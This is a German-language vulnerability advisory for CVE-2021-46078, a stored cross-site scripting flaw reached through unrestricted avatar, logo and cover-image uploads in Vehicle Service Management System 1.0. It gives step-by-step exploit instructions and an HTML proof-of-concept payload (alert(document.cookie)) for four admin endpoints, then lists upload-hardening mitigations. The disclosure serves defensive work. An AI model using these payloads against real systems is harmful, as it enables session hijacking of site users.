CVE-2021-46078
Exploit-Titel: Vehicle Service Management System - 'Mehrere' Datei-Uploads führen zu gespeichertem Cross-Site-Scripting
CVE: CVE-2021-46078
CVSS: 4.8 MITTEL
Referenzen:
Beschreibung:
Eine Schwachstelle in Bezug auf uneingeschränkten Datei-Upload besteht in Sourcecodesters Vehicle Service Management System 1.0. Ein entfernter Angreifer kann schädliche Dateien hochladen, was zu einer gespeicherten Cross-Site-Scripting-Schwachstelle führt.
1. Vehicle Service Management System - 'Mein Konto' (/admin/?page=user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich "Mein Konto": http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code als z. B. XSS.html.
- Geben Sie im Bereich "Mein Konto" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
- Klicken Sie auf "Aktualisieren".
- Öffnen Sie das Avatarbild in einem neuen Tab.
- Der schädliche JavaScript-Code wird ausgelöst.
2. Vehicle Service Management System - 'Benutzerliste' (/admin/?page=user/manage_user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich "Benutzerliste" und klicken Sie auf "Neu erstellen".
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code als z. B. XSS.html.
- Geben Sie auf der Seite "Neuen Benutzer erstellen" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
- Klicken Sie auf "Speichern".
- Öffnen Sie das Avatarbild in einem neuen Tab.
- Der schädliche JavaScript-Code wird ausgelöst.
3. Vehicle Service Management System - 'Einstellungen - System-Logo' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich "Einstellungen": http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code als z. B. XSS.html.
- Geben Sie im Bereich "Einstellungen" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter System-Logo aus.
- Klicken Sie auf "Aktualisieren".
- Öffnen Sie das System-Logo-Bild in einem neuen Tab.
- Der schädliche JavaScript-Code wird ausgelöst.
4. Vehicle Service Management System - 'Einstellungen - Website-Cover' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich "Einstellungen": http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Speichern Sie den obigen HTML-Code als z. B. XSS.html.
- Geben Sie im Bereich "Einstellungen" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Website-Cover aus.
- Klicken Sie auf "Aktualisieren".
- Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
- Der schädliche JavaScript-Code wird ausgelöst.
Auswirkungen:
Ein Angreifer kann an mehreren Endpunkten schädliche Dateien hochladen, was zu gespeichertem Cross-Site-Scripting führt.
Abhilfe:
Es wird empfohlen, Folgendes zu implementieren:
- Akzeptieren Sie niemals einen Dateinamen und seine Erweiterung direkt ohne einen Whitelist-Filter.
- Wenn keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
- Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
- Das Upload-Verzeichnis sollte keine "Ausführungs"-Berechtigung haben.
- Verlassen Sie sich nicht ausschließlich auf clientseitige Validierung.